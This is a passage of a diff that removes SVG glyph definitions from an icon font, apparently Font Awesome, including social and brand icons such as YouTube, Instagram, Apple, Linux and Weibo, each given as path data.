-d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
-q25 45 64 45h241q22 0 31 -15z" />
-    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
-d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
-l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
-d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
-l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
-q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
-    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
-d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
-    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
-d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
-    <glyph glyph-name="instagram" unicode="&#xf16d;" 
-d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
-q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
-t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
-q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
-    <glyph glyph-name="flickr" unicode="&#xf16e;" 
-d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
-t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
-    <glyph glyph-name="adn" unicode="&#xf170;" 
-d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
-d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
-t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
-t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
-t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
-    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
-d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
-t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
-M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
-v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
-d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
-q78 2 134 29z" />
-    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
-d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
-M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
-d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
-    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
-d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
-    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
-d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
-d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
-    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
-d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
-q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
-    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
-d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
-    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
-d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
-t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
-h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
-    <glyph glyph-name="linux" unicode="&#xf17c;" 
-d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
-M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
-q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
-q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
-t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
-q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
-q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
-q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
-q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
-t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
-t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
-q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
-t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
-q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
-t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
-t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
-    <glyph glyph-name="dribble" unicode="&#xf17d;" 
-d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
-t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
-q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
-t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="skype" unicode="&#xf17e;" 
-d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
-t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
-q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
-q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
-    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
-d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
-M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
-l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
-    <glyph glyph-name="trello" unicode="&#xf181;" 
-d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
-q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
-d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
-q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
-    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
-d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
-M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
-    <glyph glyph-name="gittip" unicode="&#xf184;" 
-d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
-t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
-d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
-l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
-q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
-    <glyph glyph-name="_366" unicode="&#xf186;" 
-d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
-t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
-    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
-d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
-q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
-d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
-q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
-t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
-    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
-d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
-t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
-q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
-q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
-q39 5 64 -2.5t31 -16.5z" />
-    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
-d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
